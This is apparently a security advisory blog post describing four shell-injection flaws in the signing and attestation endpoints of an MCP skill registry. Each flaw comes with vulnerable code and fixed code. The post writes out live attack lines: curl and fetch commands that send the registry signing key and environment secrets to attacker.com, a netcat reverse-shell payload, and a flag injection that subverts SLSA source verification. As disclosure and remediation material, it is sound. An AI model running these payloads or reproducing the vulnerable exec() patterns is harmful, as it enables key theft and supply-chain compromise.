← Blog

Claude MCP skill code injection — skill signing and release attestation pipeline endpoints (SA-SKL-INJECTION61)

SA-SKL-INJECTION61 identifies four shell injection vulnerabilities in MCP skill registry signing and release attestation pipeline endpoints. The cosign signing endpoint interpolates a user-supplied signingKeyPath directly into an exec() call; injecting a semicolon-separated command exfiltrates the registry's root signing key, enabling the attacker to forge release attestations for any skill in the registry. The syft SBOM generation endpoint interpolates a user-supplied outputFormat into a shell command; injecting a netcat invocation establishes a reverse shell from the attestation worker process. The grype vulnerability scan endpoint interpolates a user-supplied reportPath; injecting printenv dumps all environment variables including SIGNING_SECRET and cloud provider credentials. The slsa-verifier attestation endpoint interpolates a user-supplied provenancePath; injecting a space-separated --source-uri flag overrides the verification source URI, redirecting provenance verification to an attacker-controlled repository and causing the registry to accept forged SLSA provenance.

SA-SKL-INJECTION61 findings at a glance
CRITICALINJECTION61-001 — exec(`cosign sign --key ${signingKeyPath} ${artifactRef}`) — attacker signingKeyPath with ; cat /etc/ssl/private/registry.key exfiltrates registry signing key enabling forged release attestations
CRITICALINJECTION61-002 — exec(`syft packages ${packagePath} -o ${outputFormat}`) — attacker outputFormat with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from attestation worker
CRITICALINJECTION61-003 — exec(`grype ${imagePath} --output ${reportPath}`) — attacker reportPath with ; printenv exfiltrates all env vars including SIGNING_SECRET and cloud credentials
HIGHINJECTION61-004 — exec(`slsa-verifier verify-artifact ${artifactPath} --provenance-path ${provenancePath}`) — space-injected --source-uri flag redirects provenance verification to attacker-controlled source

INJECTION61-001 — cosign signing key path injection exfiltrates registry root signing key

The POST /api/skills/:id/sign endpoint invokes cosign via Node.js child_process.exec() with the signingKeyPath value interpolated directly into the shell command string. Because exec() passes the concatenated string to /bin/sh -c, any shell metacharacter in signingKeyPath causes the shell to interpret the injected tokens as separate commands. An attacker who submits signingKeyPath: "/path/to/key ; cat /etc/ssl/private/registry.key > /tmp/leak ; curl -d @/tmp/leak https://attacker.com/k" causes the shell to execute the cat and curl commands after cosign completes, exfiltrating the registry's root signing private key.

The registry signing key is the highest-impact target in the INJECTION61 chain because it enables the attacker to forge release attestations for any skill in the registry. A signed attestation produced with the registry key is indistinguishable from a legitimate one; enterprise consumers who verify skill attestations before installation will accept skills signed by the attacker as authentic. The attacker can re-sign older vulnerable versions of popular skills with updated metadata claiming the version is the latest, inject malicious skills into automated installation pipelines, or produce attestations that claim a skill has passed security review when it has not. Because the registry key signs all skills rather than being per-skill, the blast radius of INJECTION61-001 extends to the entire registry, not just the attacker's own skills.

Vulnerable
// INJECTION61-001 — VULNERABLE
router.post('/sign', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { signingKeyPath, artifactRef } = req.body;
  // VULNERABLE: signingKeyPath interpolated directly into shell command
  const { stdout, stderr } = await exec(
    `cosign sign --key ${signingKeyPath} ${artifactRef}`
  );
  res.json({ ok: true, output: stdout });
});

Attack PoC — INJECTION61-001: The attacker submits a signing request with a semicolon-injected command in signingKeyPath. cosign completes normally, then the shell executes the injected commands to exfiltrate the registry root signing private key.

// INJECTION61-001 — ATTACK PoC
await fetch('https://registry.example.com/api/skills/any-owned-skill/sign', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    // Shell injection: after cosign, exfiltrate registry signing key
    signingKeyPath: '/tmp/dummy.key ; cat /etc/ssl/private/registry.key | curl -s -X POST -d @- https://attacker.com/key',
    artifactRef: 'registry.example.com/skills/any-owned-skill:latest',
  }),
});
Fixed
// INJECTION61-001 — FIXED
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

router.post('/sign', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = SignRequestSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  // FIXED: signingKeyPath must match allowlisted paths — never caller-supplied
  const signingKeyPath = SIGNING_KEY_PATHS[parsed.data.keyAlias];
  if (!signingKeyPath) return res.status(400).json({ error: 'Unknown key alias' });

  // FIXED: execFile passes args as an array — no shell interpretation, no injection
  const { stdout } = await execFileAsync('cosign', [
    'sign',
    '--key', signingKeyPath,
    parsed.data.artifactRef,
  ]);
  res.json({ ok: true, output: stdout });
});

INJECTION61-002 — syft output format injection establishes reverse shell from attestation worker

The SBOM generation endpoint invokes syft packages with the outputFormat parameter interpolated into the shell command. The -o flag value is shell-interpreted when passed through exec(), allowing an attacker to inject a semicolon-separated command after the format specifier. A ; nc attacker.com 4444 -e /bin/sh payload causes the shell to invoke netcat with the -e flag after syft completes, establishing an interactive reverse shell from the attestation worker process to the attacker's listener.

The attestation worker is a particularly high-value shell target because it processes artifacts for all skills in the registry and runs with the service account credentials required to read from and write to the artifact storage backend. An interactive shell on the attestation worker gives the attacker persistent access to the worker's credential context, the ability to read any artifact it processes, and the ability to modify artifacts before they are attested — enabling a supply chain attack where the attacker replaces legitimate skill artifacts with trojaned versions that carry valid attestations signed with the worker's service account key. The reverse shell persists until the worker process is restarted, giving the attacker a durable foothold that survives the initial injection trigger being closed.

Vulnerable
// INJECTION61-002 — VULNERABLE
router.post('/sbom', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { packagePath, outputFormat } = req.body;
  // VULNERABLE: outputFormat interpolated into shell command — reverse shell injection
  const { stdout } = await exec(
    `syft packages ${packagePath} -o ${outputFormat}`
  );
  res.json({ sbom: stdout });
});
Fixed
// INJECTION61-002 — FIXED
const ALLOWED_OUTPUT_FORMATS = new Set(['spdx-json', 'cyclonedx-json', 'syft-json', 'table']);

router.post('/sbom', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = SbomRequestSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { packagePath, outputFormat } = parsed.data;

  // FIXED: allowlist output formats — reject any format not in the set
  if (!ALLOWED_OUTPUT_FORMATS.has(outputFormat)) {
    return res.status(400).json({ error: 'Output format not permitted' });
  }
  // FIXED: validate packagePath is within the expected artifact storage prefix
  if (!packagePath.startsWith(ARTIFACT_STORAGE_PREFIX)) {
    return res.status(400).json({ error: 'Package path not in artifact storage' });
  }
  // FIXED: execFile — no shell interpretation
  const { stdout } = await execFileAsync('syft', ['packages', packagePath, '-o', outputFormat]);
  res.json({ sbom: stdout });
});

INJECTION61-003 — grype report path injection exfiltrates environment variables including signing secrets

The vulnerability scan endpoint invokes grype with the reportPath parameter interpolated into the shell command. After the double-dash flag separator, the reportPath value is treated as the output file argument by grype but is still subject to shell interpretation by /bin/sh. An attacker who sets reportPath to /tmp/report.json ; printenv | curl -s -X POST -d @- https://attacker.com/env causes the shell to execute printenv after grype completes, posting all environment variable values to the attacker's collector.

The environment of the vulnerability scan worker process is a high-value exfiltration target because it typically contains SIGNING_SECRET (used to sign vulnerability reports), AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY (for artifact storage access), DATABASE_URL (for the registry database), and GRYPE_DB_API_KEY (for the vulnerability database subscription). Unlike INJECTION61-001, which requires the attacker to know the specific path of the signing key on disk, INJECTION61-003 returns all credentials simultaneously in a single exploit, making it a broader initial access vector even though it does not directly yield the registry root signing key.

Vulnerable
// INJECTION61-003 — VULNERABLE
router.post('/scan', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { imagePath, reportPath } = req.body;
  // VULNERABLE: reportPath interpolated into shell — env var exfiltration
  const { stdout, stderr } = await exec(
    `grype ${imagePath} --output ${reportPath}`
  );
  res.json({ ok: true });
});
Fixed
// INJECTION61-003 — FIXED
router.post('/scan', requireSession, requireOwnership('skillId'), async (req, res) => {
  const parsed = ScanRequestSchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { imagePath } = parsed.data;

  // FIXED: reportPath is derived server-side — never caller-supplied
  const reportPath = path.join(SCAN_REPORTS_DIR, `${req.params.id}-${Date.now()}.json`);
  if (!reportPath.startsWith(SCAN_REPORTS_DIR)) {
    return res.status(400).json({ error: 'Invalid report path' });
  }
  // FIXED: execFile — no shell interpretation; env vars stripped from child process
  const { stdout } = await execFileAsync('grype', [imagePath, '--output', reportPath], {
    env: { PATH: process.env.PATH, HOME: '/tmp' },  // FIXED: minimal env for child process
  });
  res.json({ ok: true, reportId: path.basename(reportPath) });
});

INJECTION61-004 — slsa-verifier provenance path space injection overrides source URI verification

The SLSA attestation verification endpoint invokes slsa-verifier verify-artifact with the user-supplied provenancePath value interpolated at the end of the command string. Because exec() processes the entire string through the shell, whitespace in provenancePath is treated as argument delimiter. An attacker who sets provenancePath to legitimate.jsonl --source-uri github.com/attacker/malicious-skill causes the shell to pass --source-uri github.com/attacker/malicious-skill as an additional flag to slsa-verifier, which overrides the --source-uri value that the registry previously specified. The verifier now checks provenance against the attacker's repository rather than the legitimate skill source, accepting forged SLSA provenance that claims the artifact was built from the attacker's controlled source.

The practical consequence of INJECTION61-004 is that the registry's SLSA verification step passes for a malicious artifact. The attacker uploads a trojaned skill artifact alongside forged SLSA provenance claiming it was built from their controlled repository, then supplies the provenance path with the injected flag to override the legitimate source URI. The registry records the artifact as SLSA-verified with the forged source URI, and any downstream consumer that checks the SLSA attestation will find a valid signature over provenance that claims an attacker-controlled source — which may be a repository that superficially resembles the legitimate source (typosquatted organization or repository name) but was constructed to produce the malicious artifact.

Vulnerable
// INJECTION61-004 — VULNERABLE
router.post('/attest/verify', requireSession, async (req, res) => {
  const { artifactPath, provenancePath, expectedSourceUri } = req.body;
  // VULNERABLE: provenancePath space-injection overrides --source-uri flag
  const { stdout } = await exec(
    `slsa-verifier verify-artifact ${artifactPath} --provenance-path ${provenancePath} --source-uri ${expectedSourceUri}`
  );
  res.json({ verified: true, output: stdout });
});
Fixed
// INJECTION61-004 — FIXED
router.post('/attest/verify', requireSession, async (req, res) => {
  const parsed = AttestVerifySchema.safeParse(req.body);
  if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
  const { artifactPath, provenancePath } = parsed.data;

  // FIXED: source URI is derived from the registry's own records — never caller-supplied
  const skill = await db.skills.findOne({ where: { artifactPath } });
  if (!skill) return res.status(404).json({ error: 'Artifact not found' });
  const expectedSourceUri = skill.sourceRepositoryUri;

  // FIXED: validate paths are within expected storage directories
  if (!artifactPath.startsWith(ARTIFACT_STORAGE_PREFIX)) {
    return res.status(400).json({ error: 'Artifact path not in storage' });
  }
  if (!provenancePath.startsWith(PROVENANCE_STORAGE_PREFIX)) {
    return res.status(400).json({ error: 'Provenance path not in storage' });
  }
  // FIXED: execFile — each arg passed as a separate array element, no shell interpretation
  const { stdout } = await execFileAsync('slsa-verifier', [
    'verify-artifact', artifactPath,
    '--provenance-path', provenancePath,
    '--source-uri', expectedSourceUri,
  ]);
  res.json({ verified: true });
});

SkillAudit detection: The scanner identifies INJECTION61 patterns using four AST query classes: exec(`cosign sign --key ${ template literal patterns with user-controlled path variables; exec(`syft packages with -o ${outputFormat} interpolation; exec(`grype with --output ${reportPath} interpolation; and exec(`slsa-verifier verify-artifact with trailing --provenance-path ${provenancePath} interpolation. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-INJECTION60 — Code injection in documentation generation and static site publishing pipeline endpoints • All advisories